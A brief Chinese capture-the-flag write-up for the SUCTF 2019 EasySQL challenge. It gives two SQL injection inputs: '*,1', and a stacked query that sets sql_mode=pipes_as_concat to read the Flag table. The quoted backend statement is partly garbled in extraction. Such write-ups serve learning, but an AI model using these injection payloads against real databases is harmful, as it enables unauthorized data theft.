[SUCTF 2019]EasySQL
解法1
输入的内容为*,1
内置的sql语句为:
s q l = " s e l e c t " . sql = "select ".sql="select".post[‘query’]."||flag from Flag";
如果$post[‘query’]的数据为*,1,sql语句就变成了select *,1||flag from Flag
,也就是select *,1 from Flag
,也就是直接查询出了Flag表中的所有内容
解法2
输入的内容为1;set sql_mode=pipes_as_concat;select 1
其中set sql_mode=pipes_as_concat;的作用为将||的作用由or变为拼接字符串,这是我在本地做的测试,我们执行的语句分别为select 1和set sql_mode=pipes_as_concat和select 1||flag from Flag,读出flag